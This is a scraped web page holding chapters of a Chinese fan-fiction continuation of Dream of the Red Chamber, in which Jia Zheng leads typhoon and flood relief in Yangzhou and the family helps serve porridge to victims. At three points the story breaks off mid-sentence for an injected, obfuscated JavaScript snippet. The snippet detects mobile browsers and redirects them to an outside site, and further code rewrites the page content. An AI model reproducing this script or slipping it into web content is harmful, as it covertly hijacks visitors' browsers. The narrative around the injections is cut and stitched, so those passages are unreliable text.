“巴巴叫我出来,又要说什么?”黛玉靠着廊柱,故意不看宝玉。 宝玉见黛玉仍在生气,就伸手在黛玉眼前晃了晃,引她看自己。随即便俯身作了揖,赔笑道“我一时失言,就此赔礼,林妹妹不要再生我的气了。” 黛玉被宝玉严肃的样子逗笑了,强忍住笑,说道“你哪里又说错了呢?” 宝玉道“我不该与三妹妹一起笑你。” 可是黛玉听了,仍是不高兴,说道“你真是这么想的吗?” 宝玉眨眨眼睛,点点头,不明所以。 黛玉叹口气,说道“我并不是气三妹妹笑我。我与她姐妹之间,自是互相了解,我哪里真的生她的气呢?” “那你也不要生我的气了好不好?”宝玉道。 黛玉摇摇头“你那时以为我生气了,便与三妹妹使眼色,其实你错了。你既不懂我也不懂三妹妹。” 宝玉却被说的有些糊涂了,问道“那你再说详细些好不好?我认真听着。” “我与三妹妹只是姐妹之间的玩笑,而你若是了解我们,便不应该担心我会生气,就使眼色与她。”黛玉叹口气,心里憋闷。 宝玉虽然仍是不甚明白,却知道自己的确错了,便说道“有时候我一时不能理解你,说话做事会有不对的地方,只是你不要就此不理我,咱们私下里把话说开了,就不会互相生气了,也不要让长辈担心。” 黛玉听宝玉说得诚恳,也就笑道“是这样道理,何必互相猜来猜去,白费精力呢?” 若是按照黛玉和宝玉从前的性子,两个心思都细腻,一旦火气上来了,总是免不了闹一场,弄得两人都生闷气,说老说去又都说不到关键地方,反倒不好。 只是如今黛玉心中并无从前那么多忧虑,待在扬州,身边既有父亲关爱,又有舅舅舅妈还有姨妈关爱,成日与姐妹们一处玩耍,就没有那么多愁思了。看待事情也更积极乐观一些了。 这边黛玉和宝玉说开了,又像往常那样友爱,回到了薛姨妈处。又与姐妹们玩耍一会儿,顺便歇了午觉。 午觉醒来,已是酉时了,外面阴沉沉的,预备着一场雷雨。 王夫人与薛姨妈已经吩咐好了下人,早早检查院墙与各处房屋,防备着大雨。 忙完这些,晚饭也准备好了。仍分了两桌,林如海没有回来,剩下三个大人坐在一桌,几个小的坐在一桌。 天空划过两道闪电,暴雨转瞬而来。孩子们不受影响,享受着火锅与美酒,很是欢乐。 贾政为夫人与妹妹斟了酒,举杯笑道“没什么特别可说的,就祝愿我们年年有今日,岁岁有今朝吧!” 王夫人与薛姨妈也举了杯,三人相视一笑,各自饮尽了杯中酒。 37.山雨欲来风满楼 贾政又在家中休息了四五日,自觉箭伤好了大半,便想着去衙门当差。虽说如今水务衙门他官职最高,也不需要日日都去,只是连日下雨,贾政难免忧虑。便告诉王夫人自己想明日去当差。 王夫人并没有劝说,只是让锦屏领进来两个丫鬟,让贾政细看看,若是喜欢就留在身边伺候。贾政看夫人神情认真,却有些摸不着头脑。 贾政挥挥手,让一众人都退下了。 “夫人有心事?”贾政问道。 王夫人神色略怪异,说道“老爷去衙门当差,伤没好全,难免因为公事繁忙不能日日回家。身边只有书文一个小厮伺候你,总有照顾不到的地方。这两个丫头年纪轻,做事也妥帖,留在身边伺候,我也放心。”说罢,自己长舒了一口气。 贾政摇摇头,“我身边并不需要人伺候,夫人要是喜欢就留在身边吧。” 王夫人无可奈何,叹口气,再没说什么。 抛开这个小插曲不谈,贾政下午又与潘武,宝钗商议了一下生意上的事情。 宝钗办事很是周到,总是提前仔细考察妥当,一旦下了决定,立刻有条不紊地执行。如此三四日,已经联系好了货源,派人去采买了。 贾政自然高兴,吩咐潘武拿了钱与宝钗,又与他细细说了。 “以后凡事拿不稳的,若找不到我,便与宝姑娘商议,听她吩咐行事。你一众手下也是如此。”贾政叮嘱道。 潘武略一惊讶,也爽快应下了。 “姨夫,我···”宝钗想要说什么,被贾政打断了。 贾政又问了问京城炭窑的事情。 潘武回道“前半年种植的药材,一部分已可以采收买卖了,其中利润大约有八千银子。京城快入秋了,我又吩咐他们分出一半人去准备冬日所需的木炭,如今也正忙着,没有大事。” 贾政点点头,也很满意。许多药材并不是当年种植就可收获的,因此前半年的收成就有这么多,已经很不错了。 又说道“冬日里炭窑赚了钱,等明年开春,可以再购置一些土地,既种林木,林间也种药材。”贾政意在扩大产业。 潘武应了。 “你那边还有多少银钱?”贾政问道。 潘武想了想,说道“还有一万五千两,刚才给了宝姑娘一万,剩了五千。” 贾政点点头,他自己这里还有之前的两千,就说道: “你拿三千银子给夫人,预备着我要用,余下的你留着生意用。”贾政因想到连日大雨,他若出去救灾,少不得用钱的地方,衙门里的钱不趁手时,自己添补一部分也无妨,总不能硬等着朝廷拨款,救灾可是一刻时间都不能浪费的。 再说贾政官职虽高,但俸禄却没有多少,官员若都靠着俸禄过日子,那所有人都要一穷二白了。贾政如今花用的大部分是潘武那边赚的,另外临行前贾母还交代凤姐给王夫人准备了一些银票。 贾政与潘武所谈之事,全程没有避着宝钗。 潘武走后,宝钗为贾政倒了杯茶,思考片刻,才犹豫说道“姨夫若是急用银钱,我可以···”剩下的话不需再说。 贾政行事比较节俭,也不太想用公中的钱。因此宝钗看到贾政竟然有些困窘,也很惊讶。 贾政笑了笑,没有解释,说道“宝钗你可比我富裕多了!” 宝钗微微脸红,笑了笑。 “我并没什么花钱的地方,只是想多存些银钱,以备不时之需。”贾政说罢,叹了口气,又想到若是真有一日圣上要抄家,外面多攒些银钱,到时候免不了上下打点找关系使用。 宝钗见贾政语气略沉重,也没有详细问。 那边王夫人收到潘武送来的银票,也没有多问,便接下了。 随后贾政又嘱咐了王夫人,说道“除了刚才送来的三千银票,我手里只剩两千,预备着公事要用了。” 王夫人略疑惑,将银票递给贾政,说道“家里也不缺钱,老爷带着用吧。” 贾政笑着摆摆手,“家里的钱还是放在你这里比较好。”说罢,玩笑着看向夫人。王夫人不解其意,只好收下了。 “明天要去当差了”,贾政叹口气说道。“若是因有公事不能回家用饭,我就打发人回来告诉你,你也不用等我。” 王夫人笑笑,没说什么。 贾政与宝钗的猜测很准,扬州城连着下了一个月的雨,周边的县镇也是如此,雨下个不停。 因贾政提前几个月就安排人手,修缮堤岸,整治河道,也就没有发生内涝的情况。虽今年雨水多于往年的,但并无太多人受灾。即使有几个乡镇水量太大,各处也都提前安排了人员撤离,算得上是治下有方。 只是衙门仍然事多,又有漕运方面因为大雨,翻船的,淹了货物的,更是不少。所以贾政也就不得空闲,其间只抽空回家了一次。王夫人见贾政伤已大好,也放了心,只是叮嘱话语仍是不少。 连日多雨,晴了两日,贾政本来很是高兴,想趁机回家休息一日。只是刚进入七月,便刮起了大风。 据沿海地区的邸报,那里刮大风时,屋瓦皆飞,扬沙拔木,海水大涨。紧跟着就是连日暴雨,已经淹没了许多沿海的村镇,不少百姓受灾。 贾政听罢,自是知道如何情况。应当是台风要来了。 他丝毫不敢拖延,仍按照之前吩咐的,又让齐鸣再临时招募衙役,给各处闸口,河道紧要处添加看守人员。又与林如海联系,请了扬州知府商议过,三人决定,尽快通知扬州境内所有县令并乡镇里长,加固房屋,看管牲畜,防止受灾。并随时准备发生洪灾时撤离。 贾政忙罢此事,又踱步思考了一会儿,想着自己有哪些没有考虑到的地方。 贾政主管南河水务,驻地扬州。附近其他大的城市也都有水务衙门驻扎,贾政早通知了下去,因此如今最应该担心的就是扬州。 若是扬州百姓遭了灾,南河水务衙门怕是要被陈光和与圣上记一大过了。 扬州城地势西高东低,其中河流上千条,若真的河水泛滥,淹没的房屋何止百数? 这来势汹汹的台风,可不好应对啊! 贾政叹口气,先稳住了心神,思考着各处紧急事件的处理方式与灾后重建的事情。 理清关键所在,贾政打算亲率手下官员衙役,去扬州境内淮河最大的支流西沙河的闸口驻守。 只是因放心不下家人,此行也不知要多长时间,贾政又抽了一个时辰回了趟家。 贾政来去匆匆,见了孩子们一面,叮嘱她们这几日不要出门后,就与王夫人商议了一下,告诉她如何预防台风大雨。 “除了固定门窗,将室外物品搬回屋子这些事情,也要预备防水防淹。还有就是要提前准备好一个月的食物饮水,到时大风大雨,不可能让人出去采买。一会儿我走了,你马上吩咐人去。另外如海公事也忙,你让外甥女和妹妹母女都住到咱们这边。这里房舍少,若遇事也好处理。” 贾政又细细叮嘱着“若是雨停了之后发生了灾疫,你牢记不要让任何人出门,所有人守在家里,吃食饮水就用先前储备的,一个月的也尽够了,井水就先不要用了。” 想了想,仍觉得不够细致,又补充道“任何有事需要出门的,进出都记得用烈酒净手,衣物也要全部更换了。你与孩子们最好不要与他们接触。” 贾政说罢,喝了一口王夫人递过来的茶水,又道“暂时就说这么多,我要走了。” 王夫人细心记下了贾政叮嘱的话,见他说得口干,喝了一大口茶,自己心里却觉得好笑,便轻声笑了笑。 贾政也被夫人的笑容感染了,心里便没那么着急,故意说道“我这么担心家里,叮嘱了一大堆,你却笑我。” 王夫人不理会贾政,起身为他理了理衣襟,柔声说“老爷说得我都记下了。总之我也劝不动你不要冒险,只要老爷能平安回家,我就很高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奈何到了天亮并无好转,监测水位的工人也说水位仍在缓慢上涨。无奈之下,只好按照原计划行事。其间齐鸣已经按照贾政吩咐,做好了准备。 一声令下,洪水奔腾而出,卷起阵阵白色的浪花,水库中有鱼不停翻腾着,却只能任由激流裹挟着向前。 贾政重重叹了口气,留了一位主管在此地观测水库情况,自己与齐鸣动身去观察河道情况。 车马并不能跟得上洪水的速度,贾政不敢耽误时间,可也只能一路在堤岸上随着洪水向前。 贾政观察了一会儿,河道中的水流虽急,却离堤岸还有两三米距离,略略放了心。 只是雨势仍没有丝毫减弱,如此下来,堤岸能承接的水量也是有限的。若按照工匠推测,大约到明日,洪水便能涨到岸边,下游的蓄滞洪区仍需做好吞吐洪水的准备。 贾政与齐鸣不敢耽搁,一路沿着堤岸,每到一处节点,便要仔细叮嘱看守人员。其间还有许多百姓在岸边看热闹,贾政每每遇到,都要与他们详细解释其中危害,并叮嘱他们如何防护。 如此走走停停,次日一早终于到了位于蓄滞洪区的一处村镇,白沙镇。镇子里的村民早已撤离,此时洪水也进入了镇子。 凡是作为蓄滞洪区的,都是河流下游,处于低洼地带,又多湖泊的地方,可以大量吞吐洪水,起到削减洪水的作用。 地势较高的地方待降水减少后七日左右水位就降下去了,地势低洼的,大约需要一个月。只是此地的房屋对于洪水却没有丝毫抵抗能力。 贾政与齐鸣站在高处,亲眼看着洪水卷席村庄,房屋大多只剩了屋顶,随着洪水漂流。还有许多没有带走的农具,衣物,各种生活用具,无力地漂在水面上。万幸是其中没有看到一个人,也没有大的牲畜。 贾政拍了拍倚着的栏杆,重重松了一口气,说道“走吧,咱们去看看那些转移了的百姓。” 38.生民何罪降天灾 选定的安全区已经安置了附近五个村庄的上万民百姓。 贾政一行人到时,立刻有水务衙门驻扎在此的官员与当地里长来迎接。因没有太多房舍,所谓安置百姓的区域也只是一处处搭着顶棚的平地。 没有做什么寒暄客套的,贾政直接问了些实际问题。 “粮食可够?供百姓休息的场地,被褥可够?”贾政边四处查看,边开口问道。 水务官员曾旬详细回答道“按照大人吩咐,以一万人口为基础,准备了半个月的粮食。所有百姓都有位置休息,被褥按照人头,两人一床,已经分发了下去。另准备了一些男女衣物,预备着给百姓使用。” 贾政见他们果然安排妥当,满意点点头。 又问道,“各处茅厕可做到了每日清洁?” 曾旬又回答,“已经提前在扬州找了五位大夫,按照大人吩咐,日夜清洁两次,都要撒石灰。也叮嘱了所有百姓,不食用生水,每日勤洗手洗脚,保持衣物干燥。” “很好!”贾政拍拍曾旬肩膀,诚心赞赏道。 贾政见此处安排妥当,心里的担忧也散去了好些。只是百姓们却很是忧虑,四处闹哄哄的。 曾旬见此情况,本想吩咐人维持秩序,让大家保持安静,却被贾政阻止了。 “这么多人,难免要说话聊天,闹一些是正常。你把他们管的严了,不让说话,反而容易闹事。”贾政叮嘱道。曾旬听罢便恭敬应下了,让众看守不需在意。 贾政听罢,又随意在棚内转了转,找了一处一家五六口人的铺位,席地而坐。 这一家人有一个老太太,夫妻两个,一双儿女。却与贾政家中人口类似,大约也是缘分。 旁边官员见贾政席地而坐,也四散开,与百姓们坐到一处了。 “您老贵庚啊?”贾政笑问这位老妇。 老妇人耳朵有些背,听不太清,还是她媳妇复述了一遍,她才笑着说道“八十六岁了!” 贾政笑笑,说道“您与我母亲差不多年纪。”笑罢,又将老妇旁边的小孙女抱在怀里,问道“在这里吃得饱饭,穿得暖和吗?” 小女孩有些怕生,轻声回答道“这里的老爷们每日都发吃的给我们,能吃得饱。昨日我的衣服淋湿了,也是一位衙役老爷给了我干净衣服。” 贾政笑笑,摸摸小孩的头。又问了问他父母一些问题,那两人都是朴实的农户,说话很质朴,不像是装的,或是被提前提醒过的。 “爹爹想问老爷,洪水什么时候能退,我们还能回家吗?”小女孩细声问道。 贾政也不隐藏,将自己的想法都与女孩父亲说了,“快则十日左右,慢则需要一个月。到时会拨给你们钱粮,用来重建房屋的。” 旁边也有听到的百姓,一时众人都欢呼了起来。 贾政又伸手捏了捏小孩的衣服与他们的棉被,见不是很单薄,这样天气也适合使用,就满意离开了。 如此,贾政又分别与五六家人聊了聊,见他们的满意不像作假,才彻底放了心。 当晚,贾政与守夜的衙役一起歇在了棚子里,其他官员只好有样学样。百姓们见官老爷们也和他们一起吃住,更是安心。 接下来几日,贾政日日与百姓们同吃同住,亲身体验过了安全区百姓的生活。其间日日收到两封邸报,都是关于水库水位,雨量监测与各处灾民安置情况的。 有一些偏僻山区的百姓,因连日下雨,造成滑坡,压塌了一些房屋,伤亡却不很多,目前只报道了不到一百人。 过了五六日,雨势减弱,又过了两日,天完全放晴。其间,地势较高的地方,洪水已完全退去,像是处于下游地区的,如白沙镇这里,却在十日后,地面才完全露出来。 如此,也该是时候回归故土,重建家园了。 自泄洪之日到洪水过去,足足经历了二十多天,其中,冲毁房屋无数,却比起往年同样的灾害情况,少了许多伤亡。对这些日子的劳苦,贾政也算满意,并多次嘉奖了上下官员。 因为第二日决定全部遣散此处百姓,贾政与众官员商议过后,便计划今日便将钱粮按人头发送给大家。 除了分发钱粮,贾政另外又叮嘱众人灾后防疫的关键,让他们与钱粮一并传递给百姓。 “不要使用任何沾过洪水的物品,也不可食用这些食物。所有井水必须烧开后食用。干活后身上若是沾了洪水,需要及时洗净擦干。人与牲畜的粪便必须集中处理。”贾政细细嘱咐道。 说罢,又补充道“近日诸位都辛苦了,只是百姓们的屋舍还没有建好,咱们还需要辛苦两个月,务必让所有人在入冬前住进新房,不然到时又要有许多人挨饿受冻,咱们也仍要赈灾济贫。不如一鼓作气,忙完这一阵,到时候便都能过个好年了。” 贾政一番话陈情利弊,也很鼓舞人,众人听罢也都又积攒了一些士气,没有再抱怨喊累了。 次日一早,上万百姓欢笑着向家乡走去。只是待亲眼看到遍地污泥,屋舍坍塌的景象之后,也都有些泄气。贾政众人也都早有准备,又是一番鼓励劝慰,自不必说。 前几日,在雨势减小之后,贾政就派书文回家问过家里的情况,同时也带了封信回去。信中也是相同的叮嘱与挂念。 书文送信归家时,几家大小都在王夫人处。因提前受了贾政叮嘱,王夫人与薛姨妈内外打理妥当,家中除了一处院墙因为雨大坍塌了,再无别的意外发生。 众人看过信,又详细问了书文贾政情况之后,也放了心。 “天灾过去了,姐夫也没出意外,姐姐总能放心了吧?”薛姨妈笑着对王夫人说道。 王夫人笑着点点头,没说什么。 看过贾政的信后,宝钗偷偷将众姐妹聚到一起,有话要说。 宝钗先说了自己提前囤积木材粮食等事。黛玉和探春都很赞赏宝钗敏锐的前瞻力。 黛玉笑说“宝姐姐如此敏锐,行动力也强,日后不可限量。” 探春也是赞道“就说宝姐姐能干,果不其然!只有我们几个不懂得操心这些,成日里只顾着玩乐了。” 宝玉本就不太关心这些事物,也没什么意见要说。黛玉看出宝钗还有下文,就静待她说话。 宝钗思索片刻说道“姨夫信里说道 ,他仍需留在那边,照看灾民重建房屋。正好我也要派人去做生意,所以我想···”宝钗顿了顿,看向姐妹们。 黛玉听了半句,就明白她含义,顺着说道“宝姐姐想亲自带人去做生意,同时也去帮姨夫做事,救济灾民,我猜的可对?” 宝钗笑着点点头,揽着黛玉肩膀,说道“颦儿懂我。” “宝姐姐,我也想与你同去!”探春忙道“先前学堂里晏先生所教,我都记着呢!若有余力,应当多做善事。” 宝钗笑笑,探春所说也是她心中所想。 黛玉也很赞同“咱们成日里闲在家中也无事可做,舅舅那里想必缺少助手,咱们也都识文断字的,即使做不来体力活,帮忙传话,或是写告示,或是分发东西,也都是行善事。正fu符合晏先生所教的,要身体力行。” 三姐妹相视一笑,又看宝玉。 宝玉见姐妹们态度明确,他自然也听进去了,也很积极要同去帮忙。 “只是还有一处关键···”宝钗又是说了一半看向黛玉。 黛玉忍不住笑了,说道“我仍知道宝姐姐心中所想。只是不知道三妹妹想到了吗?”黛玉故意不说,又看探春。 探春略一思考,也明白了关键“宝姐姐是担心咱们几个提出要去,母亲与姨妈肯定不同意,便想让林姐姐找姑父做说客。我说的对也不对?”探春故意摇头晃脑说着,把众人逗得大笑。 “真真是你们两个聪慧,又都是我肚子里的蛔虫。”宝钗笑着,左右搂住黛玉和探春,三人紧挨在一起。 “咱们几个成日里待在一处,自然会有心灵感应了,就像母亲与姨妈,也总是能猜到对方心中想法。”探春说道。 黛玉又说“等今晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王夫人无奈看了一眼薛姨妈,忍不住笑了笑。 宝钗见王夫人笑了,心里有数,又示意探春和黛玉。这两人早就准备好了,也是一左一右抱住王夫人手臂,不停撒娇。 林如海见状,心里觉得好笑,无奈几个大人都是面慈心软的,哪里能受得住这帮孩子们的攻势呢?林如海眼见王夫人也马上要松口,无奈摇摇头,坐着喝了杯茶,笑看孩子们撒娇。 王夫人同样,不知不觉就被攻破防线,心知自己无法阻止他们,又是无奈又是担忧,只能想到一个弥补方法。 她凑到薛姨妈耳边,说了几句话。薛姨妈听了,先是惊讶,细想了想,也只好如此,就点点头。 薛姨妈清清嗓子,说道“要去也行,我们两个带你们一起去。”说罢,也饮了一口茶。 林如海差点被这姐妹俩的主意气倒,两个深宅贵妇人带着公子小姐去赈灾?太也荒唐! 他忙出言阻拦“你们没去过洪灾现场,我却清楚。那里不只生活不便,气味也很难闻。你们在家里金尊玉贵的,还是不要去那里受苦了,要我说,都不要去才好。” 林如海一说完,就遭到了孩子们的集体围攻,黛玉说道“父亲出尔反尔!”直说得林如海微微红了脸,这才没再说话。 王夫人和薛姨妈都是叹气,王夫人对林如海说“她们一味坚持,又有什么办法阻拦?还不如我们带她们去了,也好看护她们。至于生活不便,大不了每人乘一顶轿子,每日起居都在里面,也勉强合适。” “再说她们也不一定可以坚持几天,也许一日都受不了,便要打道回府。那么日后咱们都可省心,她们也不会再胡思乱想了。”薛姨妈补充道。 林如海闻言,苦笑着点点头。三个大人以茶代酒,遥遥干了一杯,心中苦楚,都在茶里了。 没办法,自家孩子,既然阻拦不住,总是要时刻看着才能放心。 39.救灾忙儿女齐上阵 王夫人与薛姨妈自知拦不住孩子们,却也担心贸然去了那边既给贾政添麻烦,又容易出事。两姐妹左思右想,又有几个孩子不时提醒,这才准备了个差不多。 因为香菱联想到自己的经历,也悄悄告诉宝钗想去,宝钗哪有拒绝的道理,也允了她。 王夫人留自己的大丫鬟锦屏和周瑞媳妇看家,她与薛姨妈带了四个孩子,还有香菱袭人,并几个小丫头,一行人坐了两辆马车,这才去了贾政救灾那处。王夫人又提前一天吩咐人将信传给了贾政。 林如海本来公务繁忙,却也实在放心不下,特意留了半天时间,亲送孩子们去贾政那里。 经历了一个多月的大雨台风,扬州城边此时也有一些百废待兴的迹象。越是离繁华街区远了,越能体会到受灾情况的严重。 房屋损毁,树木拦腰断了,没有了收入来源的百姓们排着队等着慈善人家施舍。种种苦难,一一入了孩子们的眼里,心里。 只是她们却想不到洪水肆虐后的灾区,情况更是严峻。 曾经遍布屋舍的湖泊低洼地带,原本有山有水,好一种悠闲的田园风光。 如今放眼望去,只剩下了污泥,各种损毁的树木,零散的土石。哪里看得到一处完整的房屋?又因为天气炎热,四处散发着一种阳光炙烤污泥的难闻气味。 孩子们虽然惊讶,但也没有望而却步。王夫人与薛姨妈一路上仍是不停劝她们,不如立刻返程,却并没有劝得动,也就无可奈何了。 贾政自收到信,虽也担忧,只是因为太忙,没有时间去忧虑。待想到此事,孩子们已经站到了他面前。 林如海见了贾政,二人先谈了这里的灾情,孩子们与夫人们站在轿子旁边,仔细打量着。 林如海略了解之后,对贾政说道“孩子们闹着要来,道理说了一大通,我和嫂子都投降了,只好带她们过来。不如你直言没有时间照顾她们,让她们打道回府吧。” 贾政笑了笑,说道“既然来了,何必着急走?孩子们也是好心,不如就让她们亲身体验一次,也是一种历练。” 林如海听了,说道“你这么忙,哪里顾得上照顾她们?” 贾政看了看离他三步远的王夫人与薛姨妈,笑道“夫人和妹妹都来了,想来是做了准备,有她们在,我也不用太担心孩子。正如孩子们所说,我正是需要助手的时候,她们来了,也能帮我们做些好事。” 林如海听罢,笑着摇摇头,“存周对孩子们总是很放心的,也许是我有些因噎废食了吧。” 贾政拍拍林如海肩膀,回道“衙门若是事忙你就先回去,这里不用担心。” 林如海与贾政告别,又细细叮嘱了孩子们,这才不舍离去。 “你们总是淘气,惹得母亲与姨妈劳累。”贾政走到宝玉和探春旁边,假装严肃地训斥她们。宝玉和探春也有些心虚,都低了头不敢说话。 “姨夫莫要生气,都是我的主意!”宝钗不愿姐妹挨骂,自己主动陈情。 “舅舅不要生气了,我们这不是来帮忙了吗?”黛玉看出贾政不是真心生气,她走到贾政身侧,晃了晃贾政手臂,调皮说道。 贾政笑笑,摸摸黛玉脑袋,又清清嗓子说道“你们也看到了灾区的情况,若真有意帮忙,这些日子难免要受苦的,你们受得住吗?”贾政说罢,直直看着宝玉。 宝玉偷偷看了一眼宝钗与黛玉,鼓足了点勇气,回道“姐妹们在家里时也讨论过可能遇到的困难,这一路走来,我们也都亲眼看到了。只是既然来了这里,总要做些什么,不然何苦麻烦这一趟?” 这孩子如今的确养出了一点坚韧顽强的性子来。贾政听罢很满意,摸摸宝玉脑袋,笑了笑。随后就让书文先带孩子们安置下来。 此处建有几间供官员议事的简陋茅屋,有顶有墙,已经算是不错了。就只怕这些公子小姐们还住不习惯。薛姨妈看出贾政与王夫人有话要说,就先带着孩子,丫鬟小厮们前去安置了。 “连日阴雨,又奔波劳累,老爷手臂上的箭伤还疼吗?”王夫人问道。 贾政将两臂展开,笑着走到夫人面前,说道“我如今足以抱起两大根圆木!” 王夫人笑笑,回道“你也与孩子们一样胡闹。”说罢,又为贾政理理衣服,拍掉他身上沾的草屑泥灰,再没说什么劝诫的话。 “不用你服侍我,”贾政握住王夫人的手,阻止了她,“因为总是要四处巡视看他们重建房屋,难免弄脏衣服,这没什么。你们一路过来,也辛苦了,要不要先去歇一会儿?” 王夫人摇摇头,并不觉得劳累,她也想做点什么可以帮到贾政的事情。 贾政笑笑,说道“那么先安顿下来,一会儿晚饭时间你与妹妹一起施粥,怎么样?”贾政选了个还算轻松的事情。 王夫人点点头,心里想到:以前自己虽说也是乐善好施的,但不过是拿了银钱吩咐别人去做。如今亲身看过,才更能体会到其间苦难。便亲身做些善事,也是积德。 因为宝钗的安排,薛家早已派了管事到各处受灾的地方,售卖木材粮食等生活用品,又搭了粥棚,每日施粥两次。 贾政又去茅屋里看孩子们。在薛姨妈的安排下,也算紧紧有条,虽然地方简陋些,但该有的生活用品却一应俱全。 贾政叫过了宝钗,问了些生意上的事情,无一没有安排妥当的。贾政又叫过旁边的黛玉宝玉探春,问道“我想让你母亲与姨妈去帮忙施粥,也算轻松,你们姐妹们另外做些什么呢?” 宝钗想了想,先回道“我们几个头一天来,还是都在一处的好,过几日对环境熟悉了,再分开做事,比较妥当。”另几人也赞同宝钗说法,毕竟头一天来,心里还是有些不适应。 贾政笑笑,又说“那么晚间你们都去施粥,不如去薛家的粥棚吧,也一起看看你们宝姐姐将生意打理得多好。”孩子们听了,自无不可。 又随意歇了一会儿,用了点茶,孩子们按耐不住想四周去看看。薛姨妈带着铺子里的管家正好去照看自家生意,便与孩子们同去了,贾政又吩咐了解情况的书文陪着。 “幸好夫人想得周到,给他们都准备了普通衣物,不然他们这一出去,难免要出点事情。”贾政笑对王夫人说。 正说话时,又有小厮来找贾政,说曾旬有事请示贾政。 贾政本来想自己带着夫人四处巡查一圈,也与她讲讲此处的灾情。还有就是与灾民沟通时,一帮大男人行事说话总是太直了,平白惹的别人害怕。带夫人一起去,她性子爽利,为人又亲和,更容易让灾民们感到亲切。 王夫人说道“老爷你去忙吧,不用担心我,我去找妹妹他们。” 贾政环视四周,见四处乱糟糟,仍不放心,又道“你记得我先前叮嘱过的话,这里是灾区,不同于城里,难免发生灾疫。” 王夫人笑道“老爷先前说的关键我都记着呢,你快去吧。”她不愿贾政因为自己耽误公事。 贾政又特意叫来了两个手下,让他们护送夫人,并时刻留在那里照看孩子们,这才放心走了。 且说薛家粥棚这里,薛姨妈与宝钗先与管事的商量了生意上的事情。 “回太太小姐,咱们预先准备的木材布匹,自前日起售卖,因比市价低了两成,且货物品质又好,因此每日准备的总能卖空。”管事笑着回道。 薛姨妈听了也很满意,又叮嘱了几句。 宝钗闻言略有思索,又与母亲商议道“不如咱们再便宜些卖了,也仍有赚头。妈妈你看这些人多可怜呢,虽然有衙门补贴一点钱盖新房,只是一切却都要重新开始,我有些不忍。” 薛姨妈听了,怜爱地搂着宝钗,说道“都听你的。”近日亲眼目睹了各种惨象,也引得她心酸。宝钗听罢,便去吩咐了各管事。 这边薛姨妈与孩子们看了会儿如何施粥,倒很简单。于是就将他们替换下来,亲身上手了。灾民们都很守秩序,整齐排着队,捧着碗,等着喝粥。 宝钗提前安排的已很充足, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974090|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每日可提供五千百姓的粮食。只是虽也有其他慈善人家施粥,但灾民们看到薛家这里的粥,最稠最能饱腹,就更偏向来薛家这里排队。另有一些不愿意等待的,才去其他粥棚。 如此下来,宝钗准备的粮食就不太够用。又与母亲和管事商议后,宝钗便派人先挪出次日的粮食煮熟分发了。另让人紧急再去采买,时间也来得及。 因为贾政与手下众官员的认真巡查督造,这里灾区的百姓条件相对来说已经很好了。只是仍有些人或者吃不饱的,或者等不及的,或者另有要求的,推搡之间,难免生事。幸好有衙役与薛家的伙计时刻看管着,才没有闹得乱哄哄。 薛姨妈此时正在细心为灾民盛粥。她只当自己是个好心妇人,因为不忍百姓受灾,来此大发善心。所以盛粥的时候,她完全没有架子,也不拿大。即使碗中已经很满了,还要再问一遍,“够不够”,遇到小孩与老人时,她总要笑着叮嘱一句“小心烫”。 薛姨妈盛了一会儿粥,想到了什么,又吩咐管事道“咱们库里不是还有许多干菜吗?你也分给各处灾区的管事,让他们与粥一同分给百姓们。” 管事听罢立刻应下了,就去做事。 王夫人远远看见薛姨妈手脚麻利地为灾民盛粥,也露出了笑容。 “姐姐来了。”薛姨妈看到王夫人过来,就放下勺子,挽住姐姐手臂。 “还顺利吗?”王夫人问道。 薛姨妈笑着点点头,又道“宝丫头已经安排妥了,我不过是帮人盛粥,顶替伙计们,让他们歇一会儿罢了。” “那我也去帮会儿忙吧。”王夫人说罢,也走到一处大锅前,顶替了一位伙计,干起活来。薛姨妈看姐姐不太熟练,便在旁边帮忙拿着碗,王夫人只管往里面倒粥就好。 这边姐妹俩配合默契,那边几个孩子也是如此。 黛玉和宝钗一个盛粥,一个将粥碗递给百姓,宝玉探春,香菱袭人做法相同。孩子们年纪虽小,但行事中自有一种不慌不忙的稳重与优雅,不一会儿就很熟练,速度也很快。 姐妹几个都心善,若是看到独自来排队的小孩子,总要另给一只鸡蛋。旁人看到只有小孩儿有,也不好说什么。 王夫人与薛姨妈姐妹俩原本都是心直口快的爽利性子,又天生一种亲和慈爱的气质。很快都适应了这个活计,也都能说笑着与灾民们聊些闲话。 贾政忙完自己的事,看到四处的粥棚已经分发得差不多了,灾民们都吃上了晚饭。于是他也就吩咐手下官员先去用饭。官员们的饭仍是白粥,只是每人可以配一点酱菜。 忙完这些,贾政就去薛家粥棚那里。 看到孩子们适应得如此之快,头一日便能帮忙,贾政实在满意。若是放在一年前,他是想象不到这些金尊玉贵的孩子,夫人们,竟也能做来伺候别人的事情。 眼看着那边队伍末端的百姓都端着粥碗,满意离开,忙碌了很久的孩子们夫人们,这才能喘口气。 贾政自己拿了两个凳子,放到王夫人与薛姨妈旁边,又扶着王夫人坐下。孩子们也有薛家伙计准备的小板凳,也都坐着休息了。 贾政又与书文一起,每人给盛了一碗粥,又送到她们面前。 “原谅我待客不周了!”贾政笑道。 王夫人与薛姨妈见状,相视一笑。吩咐人去拿她们提前准备好的小菜。 